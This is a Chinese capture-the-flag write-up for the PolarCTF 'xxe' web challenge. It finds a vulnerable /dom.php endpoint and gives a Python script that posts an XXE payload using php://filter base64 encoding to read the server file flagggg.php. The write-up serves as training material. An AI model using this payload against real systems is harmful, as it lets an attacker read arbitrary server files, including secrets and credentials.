Polar Web【中等】xxe

Polar Web【中等】xxe

Contents

思路&探索

如题目所示,此题考查XXE漏洞,具体细节需要逐步深挖

  1. 打开站点,提示了flag所在的文件,点击按钮,可见php的配置信息,搜索xml发现该服务可读取外部XML实体
  2. 由于并不清楚具体的注入路径,因此先对站点进行扫描,发现存在/dom.php路径
  3. 进入该路径发现下图中的报错信息,根据XXE漏洞的操作方式,采用POST方法将构造好的XML字符串传入/dom.php 站点,得到一串经由base64编码的字符串,解码后得到flag
  • 本文采用手动和脚本两种方式来实现解答


  • 在使用HackBar传入时,经测试使用下面的模式来传数据才能生效


EXP

python 复制代码
import requests
import base64


def attack(url, pl):
    resp = requests.post(url, pl).text
    if resp:
    	# 为方便可读,对输出稍作处理
        out = resp[resp.index('textContent') + 16:resp.rindex(')')]
        out = base64.b64decode(out.encode()).decode()
        out = out[out.index('flag'):]
        print(out)
    else:
        print("Nothing...")


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/dom.php'
    payload = '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE polar [
        <!ELEMENT name ANY >
        <!ENTITY polar SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
        ]>
<name>&polar;</name>
    '''
    attack(u, payload)

运行&总结

  • 本题考查XXE漏洞的基本原理以及渗透方式,需要对XML文档结构和XML实体的引入方式有所了解
  • 在构造的外部XML实体中,采用的是php://filter/read(伪协议读取模块)中的base64编码器实现对服务器文件flagggg.php的读取

敬,不完美的明天

相关推荐
胡耀超7 小时前
隐私计算技术全景:从联邦学习到可信执行环境的实战指南—数据安全——隐私计算 联邦学习 多方安全计算 可信执行环境 差分隐私
人工智能·安全·数据安全·tee·联邦学习·差分隐私·隐私计算
旺仔Sec10 小时前
新疆维吾尔自治区第一届“丝路杯”网络安全大赛暨2026年新疆职业院校技能大赛网络安全赛项竞赛样题
安全·web安全
我不是QI10 小时前
DES 加密算法:核心组件、加解密流程与安全特性
经验分享·算法·安全·网络安全·密码学
xiejava101815 小时前
开源安全管理平台wazuh-非法可疑进程检测
安全·开源·wazuh
你的电影很有趣19 小时前
lesson72:Node.js 安全实战:Crypto-Js 4.2.0 与 Express 加密体系构建指南
javascript·安全·node.js
Giser探索家19 小时前
遥感卫星升轨 / 降轨技术解析:对图像光照、对比度的影响及工程化应用
大数据·人工智能·算法·安全·计算机视觉·分类
全栈工程师修炼日记20 小时前
ARMv8系统的安全性(二):TrustZone架构如何重塑移动设备安全生态
安全
嗨丶王哪跑20 小时前
网络安全主动防御技术与应用
运维·网络·安全·web安全
火白学安全1 天前
《Python红队攻防脚本零基础编写:入门篇(一)》
python·安全·web安全·网络安全·系统安全
携欢1 天前
PortSwigger靶场之Exploiting server-side parameter pollution in a REST URL通关秘籍
前端·javascript·安全